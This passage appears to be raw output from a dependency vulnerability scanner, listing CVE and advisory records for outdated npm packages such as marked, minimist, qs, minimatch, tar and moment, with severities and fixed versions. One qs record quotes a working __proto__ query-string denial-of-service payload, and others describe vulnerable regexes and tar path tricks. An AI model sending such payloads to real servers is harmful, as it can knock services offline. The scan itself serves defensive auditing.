'https://nvd.nist.gov/vuln/detail/CVE-2017-16042', 'description': 'Growl adds growl notification support to nodejs. Growl before 1.10.2 does not properly sanitize input before passing it to exec, allowing for arbitrary command execution.', 'packageVersion': '1.9.2', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'growl', 'publishedDate': '2018-06-04T19:29:00Z', 'cvss': 9.8, 'status': 'fixed in 1.10.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2021-0013', 'link': '', 'description': 'marked package prior to 1.1.1 are vulnerable to  Regular Expression Denial of Service (ReDoS). The regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable.  Origin: https://github.com/markedjs/marked/commit/bd4f8c464befad2b304d51e33e89e567326e62e0', 'packageVersion': '0.3.9', 'vector': '', 'packageName': 'marked', 'publishedDate': '2021-01-14T10:29:35Z', 'cvss': 0, 'status': 'fixed in 1.1.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-21681', 'link': 'https://github.com/advisories/GHSA-5v2h-r2cx-5xgj', 'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `inline.reflinkSearch` may cause catastrophic backtracking against some strings and lead to a denial of service (DoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.', 'packageVersion': '0.3.9', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'marked', 'publishedDate': '2022-01-14T17:15:00Z', 'cvss': 7.5, 'status': 'fixed in 4.0.10'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-21680', 'link': 'https://github.com/advisories/GHSA-rrrm-qjm4-v8hf', 'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `block.def` may cause catastrophic backtracking against some strings and lead to a regular expression denial of service (ReDoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.', 'packageVersion': '0.3.9', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'marked', 'publishedDate': '2022-01-14T17:15:00Z', 'cvss': 7.5, 'status': 'fixed in 4.0.10'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-44906', 'link': 'https://github.com/advisories/GHSA-xvch-5gv4-984h', 'description': 'Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).', 'packageVersion': '1.2.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'minimist', 'publishedDate': '2022-03-17T16:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.2.6'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0230', 'link': 'https://github.com/mochajs/mocha/pull/4770', 'description': 'mocha packages from all versions are vulnerable to Regular Expression Denial of Service (ReDoS). clean() function is vulnerable to ReDoS attack due to the overlapped sub-patterns.', 'packageVersion': '2.5.3', 'vector': '', 'packageName': 'mocha', 'publishedDate': '2022-07-07T11:32:57Z', 'cvss': 7.5, 'status': 'open'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0335', 'link': 'https://github.com/mochajs/mocha/commit/61b4b9209c2c64b32c8d48b1761c3b9384d411ea', 'description': 'mocha packages from all versions are vulnerable to Regular Expression Denial of Service (ReDoS). clean() function in utils.js is vulnerable to ReDoS with the regex: /^function(?:\\\\\\\\s*|\\\\\\\\s+[^(]*)\\\\\\\\([^)]*\\\\\\\\)\\\\\\\\s*\\\\\\\\{((?:.|\\\\n)*?)\\\\\\\\s*\\\\\\\\}$|^\\\\\\\\([^)]*\\\\\\\\', 'packageVersion': '2.5.3', 'vector': '', 'packageName': 'mocha', 'publishedDate': '2022-10-02T18:01:01Z', 'cvss': 5.3, 'status': 'open'}, {'severity': 'moderate', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23362', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23362', 'description': 'The package hosted-git-info before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.', 'packageVersion': '2.1.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'hosted-git-info', 'publishedDate': '2021-03-23T17:15:00Z', 'cvss': 4, 'status': 'fixed in 2.8.9, 3.0.8'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-7408', 'link': 'https://github.com/advisories/GHSA-ph34-pc88-72gc', 'description': 'An issue was discovered in an npm 5.7.0 2018-02-21 pre-release (marked as \\\\\"next: 5.7.0\\\\\" and therefore automatically installed by an \\\\\"npm upgrade -g npm\\\\\" command, and also announced in the vendor\\\\\\'s blog without mention of pre-release status). It might allow local users to bypass intended filesystem access restrictions because ownerships of /etc and /usr directories are being changed unexpectedly, related to a \\\\\"correctMkdir\\\\\" issue.', 'packageVersion': '3.10.10', 'vector': 'CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'npm', 'publishedDate': '2018-02-22T18:29:00Z', 'cvss': 7, 'status': 'fixed in 5.7.1'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2020-15095', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-15095', 'description': 'Versions of the npm CLI prior to 6.14.6 are vulnerable to an information exposure vulnerability through log files. The CLI supports URLs like \\\\\"<protocol>://[<user>[:<password>]@]<hostname>[:<port>][:][/]<path>\\\\\". The password value is not redacted and is printed to stdout and also to any generated log files.', 'packageVersion': '3.10.10', 'vector': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N', 'packageName': 'npm', 'publishedDate': '2020-07-07T19:15:00Z', 'cvss': 4, 'status': 'fixed in 6.14.6'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-16775', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-16775', 'description': \"Versions of the npm CLI prior to 6.13.3 are vulnerable to an Arbitrary File Write. It is possible for packages to create symlinks to files outside of thenode_modules folder through the bin field upon installation. A properly constructed entry in the package.json bin field would allow a package publisher to create a symlink pointing to arbitrary files on a user\\\\'s system when the package is installed. This behavior is still possible through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.\", 'packageVersion': '3.10.10', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'npm', 'publishedDate': '2019-12-13T01:15:00Z', 'cvss': 7, 'status': 'fixed in 6.13.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-16776', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-16776', 'description': \"Versions of the npm CLI prior to 6.13.3 are vulnerable to an Arbitrary File Write. It fails to prevent access to folders outside of the intended node_modules folder through the bin field. A properly constructed entry in the package.json bin field would allow a package publisher to modify and/or gain access to arbitrary files on a user\\\\'s system when the package is installed. This behavior is still possible through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.\", 'packageVersion': '3.10.10', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N', 'packageName': 'npm', 'publishedDate': '2019-12-13T01:15:00Z', 'cvss': 7, 'status': 'fixed in 6.13.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-16777', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-16777', 'description': 'Versions of the npm CLI prior to 6.13.4 are vulnerable to an Arbitrary File Overwrite. It fails to prevent existing globally-installed binaries to be overwritten by other package installations. For example, if a package was installed globally and created a serve binary, any subsequent installs of packages that also create a serve binary would overwrite the previous serve binary. This behavior is still allowed in local installations and also through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.', 'packageVersion': '3.10.10', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'npm', 'publishedDate': '2019-12-13T01:15:00Z', 'cvss': 7, 'status': 'fixed in 6.13.4'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'GHSA-mh5c-679w-hh4r', 'link': '', 'description': 'Versions of `mongodb` prior to 3.1.13 are vulnerable to Denial of Service. The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.   ## Recommendation  Upgrade to version 3.1.13 or later.', 'packageVersion': '2.2.36', 'vector': '', 'packageName': 'mongodb', 'publishedDate': '2020-09-03T21:12:01Z', 'cvss': 7, 'status': 'fixed in 3.1.13'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-7788', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7788', 'description': 'This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.', 'packageVersion': '1.3.4', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'ini', 'publishedDate': '2020-12-11T11:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.3.6'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0039', 'link': 'https://github.com/isaacs/minimatch/commit/a8763f4388e51956be62dc6025cec1126beeb5e6', 'description': \"minimatch package versions before 3.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS). It\\\\'s possible to cause a denial of service when calling function braceExpand (The regex /\\\\\\\\{.*\\\\\\\\}/ is vulnerable and can be exploited).\", 'packageVersion': '0.3.0', 'vector': '', 'packageName': 'minimatch', 'publishedDate': '2022-02-21T09:51:41Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2016-10540', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-10540', 'description': 'Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the `pattern` parameter.', 'packageVersion': '0.3.0', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'minimatch', 'publishedDate': '2018-05-31T20:29:00Z', 'cvss': 7.5, 'status': ''}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-3517', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-3517', 'description': 'A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.', 'packageVersion': '0.3.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'minimatch', 'publishedDate': '2022-10-17T20:15:00Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-18077', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-18077', 'description': 'index.js in brace-expansion before 1.1.7 is vulnerable to Regular Expression Denial of Service (ReDoS) attacks, as demonstrated by an expand argument containing many comma characters.', 'packageVersion': '1.1.6', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'brace-expansion', 'publishedDate': '2018-01-27T12:29:00Z', 'cvss': 7, 'status': 'fixed in 1.1.7'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0039', 'link': 'https://github.com/isaacs/minimatch/commit/a8763f4388e51956be62dc6025cec1126beeb5e6', 'description': \"minimatch package versions before 3.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS). It\\\\'s possible to cause a denial of service when calling function braceExpand (The regex /\\\\\\\\{.*\\\\\\\\}/ is vulnerable and can be exploited).\", 'packageVersion': '3.0.3', 'vector': '', 'packageName': 'minimatch', 'publishedDate': '2022-02-21T09:51:41Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-3517', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-3517', 'description': 'A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.', 'packageVersion': '3.0.3', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'minimatch', 'publishedDate': '2022-10-17T20:15:00Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'low', 'riskFactors': {'Has fix': {}}, 'cveId': 'CVE-2017-18869', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-18869', 'description': 'A TOCTOU issue in the chownr package before 1.1.0 for Node.js 10.10 could allow a local attacker to trick it into descending into unintended directories via symlink attacks.', 'packageVersion': '1.0.1', 'vector': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N', 'packageName': 'chownr', 'publishedDate': '2020-06-15T15:15:00Z', 'cvss': 2.5, 'status': 'fixed in 1.1.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-13173', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-13173', 'description': \"fstream before 1.0.12 is vulnerable to Arbitrary File Overwrite. Extracting tarballs containing a hardlink to a file that already exists in the system, and a file that matches the hardlink, will overwrite the system\\\\'s file with the contents of the extracted file. The fstream.DirWriter() function is vulnerable.\", 'packageVersion': '1.0.10', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'fstream', 'publishedDate': '2019-07-02T20:15:00Z', 'cvss': 7.5, 'status': 'fixed in 1.0.12'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-31129', 'link': 'https://github.com/advisories/GHSA-wc69-rhjr-hc9g', 'description': 'moment is a JavaScript date library for parsing, validating, manipulating, and formatting dates. Affected versions of moment were found to use an inefficient parsing algorithm. Specifically using string-to-date parsing in moment (more specifically rfc2822 parsing, which is tried by default) has quadratic (N^2) complexity on specific inputs. Users may notice a noticeable slowdown is observed with inputs above 10k characters. Users who pass user-provided strings without sanity length checks to moment constructor are vulnerable to (Re)DoS attacks. The problem is patched in 2.29.4, the patch can be applied to all affected versions with minimal tweaking. Users are advised to upgrade. Users unable to upgrade should consider limiting date lengths accepted from user input.', 'packageVersion': '2.24.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'moment', 'publishedDate': '2022-07-06T18:15:00Z', 'cvss': 7.5, 'status': 'fixed in 2.29.4'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-24785', 'link': 'https://github.com/advisories/GHSA-8hfj-j24r-96c4', 'description': 'Moment.js is a JavaScript date library for parsing, validating, manipulating, and formatting dates. A path traversal vulnerability impacts npm (server) users of Moment.js between versions 1.0.1 and 2.29.1, especially if a user-provided locale string is directly used to switch moment locale. This problem is patched in 2.29.2, and the patch can be applied to all affected versions. As a workaround, sanitize the user-provided locale name before passing it to Moment.js.', 'packageVersion': '2.24.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'moment', 'publishedDate': '2022-04-04T17:15:00Z', 'cvss': 7.5, 'status': 'fixed in 2.29.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'PRISMA-2022-0087', 'link': 'https://github.com/ljharb/qs/issues/200', 'description': \"qs package versions before 6.3.1 are vulnerable to Prototype Pollution. It\\\\'s a bypass for CVE-2017-1000048, that only fixed ]=toString, but not fixed  [=toString. So it is possible to override prototype properties such as toString() for a nested object which exceeds the depth limit even when allowPrototypes is set to false.\", 'packageVersion': '6.2.1', 'vector': '', 'packageName': 'qs', 'publishedDate': '2022-03-17T09:41:42Z', 'cvss': 5.9, 'status': 'fixed in 6.3.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-24999', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-24999', 'description': 'qs before 6.10.3, as used in Express before 4.17.3 and other products, allows attackers to cause a Node process hang for an Express application because an __ proto__ key can be used. In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4 (and therefore Express 4.17.3, which has \\\\\"deps: qs@6.9.7\\\\\" in its release description, is not vulnerable).', 'packageVersion': '6.2.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2022-11-26T22:15:00Z', 'cvss': 7.5, 'status': 'fixed in 6.10.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-1000048', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000048', 'description': \"the web framework using ljharb\\\\'s qs module older than v6.3.2, v6.2.3, v6.1.2, and v6.0.4 is vulnerable to a DoS. A malicious user can send a evil request to cause the web framework crash.\", 'packageVersion': '6.2.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2017-03-01T00:00:00Z', 'cvss': 7, 'status': 'fixed in 6.3.2, 6.2.3, 6.1.2, 6.0.4'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-1107', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1107', 'description': 'It was discovered that the is-my-json-valid JavaScript library used an inefficient regular expression to validate JSON fields defined to have email format. A specially crafted JSON file could cause it to consume an excessive amount of CPU time when validated.', 'packageVersion': '2.15.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'is-my-json-valid', 'publishedDate': '2018-02-16T00:00:00Z', 'cvss': 5.3, 'status': 'fixed in 2.17.2, 1.4.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2016-2537', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-2537', 'description': \"The is-my-json-valid package before 2.12.4 for Node.js has an incorrect exports[\\\\'utc-millisec\\\\'] regular expression, which allows remote attackers to cause a denial of service (blocked event loop) via a crafted string.\", 'packageVersion': '2.15.0', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'is-my-json-valid', 'publishedDate': '2016-02-23T05:59:00Z', 'cvss': 7, 'status': 'fixed in 1.4.1, 2.17.2'}, {'severity': 'moderate', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-8244', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8244', 'description': 'A buffer over-read vulnerability exists in bl <4.0.3, <3.0.1, <2.2.1, and <1.2.3 which could allow an attacker to supply user input (even typed) that if it ends up in consume() argument and can become negative, the BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.', 'packageVersion': '1.1.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L', 'packageName': 'bl', 'publishedDate': '2020-08-30T15:15:00Z', 'cvss': 4, 'status': 'fixed in 2.2.1, 1.2.3, 4.0.3, 3.0.1'}, {'severity': 'moderate', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2018-21270', 'link': 'https://github.com/advisories/GHSA-mf6x-7mm4-x2g7', 'description': 'Versions less than 0.0.6 of the Node.js stringstream module are vulnerable to an out-of-bounds read because of allocation of uninitialized buffers when a number is passed in the input stream (when using Node.js 4.x).', 'packageVersion': '0.0.5', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H', 'packageName': 'stringstream', 'publishedDate': '2020-12-03T21:15:00Z', 'cvss': 4, 'status': 'fixed in 0.0.6'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-7754', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7754', 'description': 'This affects the package npm-user-validate before 1.0.1. The regex that validates user emails took exponentially longer to process long input strings beginning with @ characters.', 'packageVersion': '0.1.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'npm-user-validate', 'publishedDate': '2020-10-16T00:00:00Z', 'cvss': 7.5, 'status': 'fixed in 1.0.1'}, {'severity': 'low', 'riskFactors': {'Has fix': {}, 'DoS': {}}, 'cveId': 'GHSA-xgh6-85xh-479p', 'link': '', 'description': '`npm-user-validate` before version `1.0.1` is vulnerable to a Regular Expression Denial of Service (REDos). The regex that validates user emails took exponentially longer to process long input strings beginning with `@` characters.  ### Impact The issue affects the `email` function. If you use this function to process arbitrary user input with no character limit the application may be susceptible to Denial of Service.  ### Patches The issue is patched in version 1.0.1 by improving the regular expression used and also enforcing a 254 character limit.  ### Workarounds Restrict the character length to a reasonable degree before passing a value to `.emal()`; Also, consider doing a more rigorous sanitizing/validation beforehand.', 'packageVersion': '0.1.5', 'vector': '', 'packageName': 'npm-user-validate', 'publishedDate': '2020-10-16T18:56:26Z', 'cvss': 1, 'status': 'fixed in 1.0.1'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-1109', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1109', 'description': 'A vulnerability was found in Braces versions prior to 2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.', 'packageVersion': '1.8.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'braces', 'publishedDate': '2021-03-30T02:15:00Z', 'cvss': 5.3, 'status': 'fixed in 2.3.1'}, {'severity': 'low', 'riskFactors': {'Has fix': {}, 'DoS': {}}, 'cveId': 'GHSA-g95f-p29q-9xw4', 'link': '', 'description': 'Versions of `braces` prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.   ## Recommendation  Upgrade to version 2.3.1 or higher.', 'packageVersion': '1.8.5', 'vector': '', 'packageName': 'braces', 'publishedDate': '2019-06-06T15:30:30Z', 'cvss': 1, 'status': 'fixed in 2.3.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-37713', 'link': 'https://github.com/advisories/GHSA-5955-9wpr-37jh', 'description': 'The npm package \\\\\"tar\\\\\" (aka node-tar) before versions 4.4.18, 5.0.10, and 6.1.9 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain `..` path portions, and resolving the sanitized paths against the extraction target directory. This logic was insufficient on Windows systems when extracting tar files that contained a path that was not an absolute path, but specified a drive letter different from the extraction target, such as `C:some\\\\\\\\path`. If the drive letter does not match the extraction target, for example `D:\\\\\\\\extraction\\\\\\\\dir`, then the result of `path.resolve(extractionDirectory, entryPath)` would resolve against the current working directory on the `C:` drive, rather than the extraction target directory. Additionally, a `..` portion of the path could occur immediately after the drive letter, such as `C:../foo`, and was not properly sanitized by the logic that checked for `..` within the normalized and split portions of the path. This only affects users of `node-tar` on Windows systems. These issues were addressed in releases 4.4.18, 5.0.10 and 6.1.9. The v3 branch of node-tar has been deprecate', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'packageName': 'tar', 'publishedDate': '2021-08-31T17:15:00Z', 'cvss': 7, 'status': 'fixed in 6.1.9, 5.0.10, 4.4.18'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-37712', 'link': 'https://github.com/advisories/GHSA-qq89-hq3f-393p', 'description': 'The npm package \\\\\"tar\\\\\" (aka node-tar) before versions 4.4.18, 5.0.10, and 6.1.9 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 \\\\\"short path\\\\\" counterparts. A specially crafted tar archive could thus include a directory with one form of the path, followed by a symbolic link with a different string that resolves to the same file system entity, followed by a file using the first form. By first creating a directory, and then replacing that directory with a symlink that had a different apparent name that resolved to the same entry in the filesystem, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting ', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'packageName': 'tar', 'publishedDate': '2021-08-31T17:15:00Z', 'cvss': 7, 'status': 'fixed in 6.1.9, 5.0.10, 4.4.18'}, {'severity': 'low', 'riskFactors': {'Has fix': {}, 'DoS': {}}, 'cveId': 'PRISMA-2021-0096', 'link': 'https://github.com/npm/node-tar/commit/06cbde5935aa7643f578f874de84a7da2a74fe3a', 'description': 'tar package versions before 6.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS). When stripping the trailing slash from `files` arguments, we were using `f.replace(/\\\\\\\\/+$/, \\\\\\'\\\\\\')`, which can get exponentially slow when `f` contains many `/` characters. This is \\\\\"\\\\\"unlikely but theoretically possible\\\\\"\\\\\" because it requires that the user is passing untrusted input into the `tar.extract()` or `tar.list()` array of entries to parse/extract, which would be quite unusual.', 'packageVersion': '2.2.1', 'vector': '', 'packageName': 'tar', 'publishedDate': '2021-08-30T08:44:48Z', 'cvss': 3.5, 'status': 'fixed in 6.1.4'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-37701', 'link': 'https://github.com/advisories/GHSA-9r2w-394v-53qc', 'description': 'The npm package 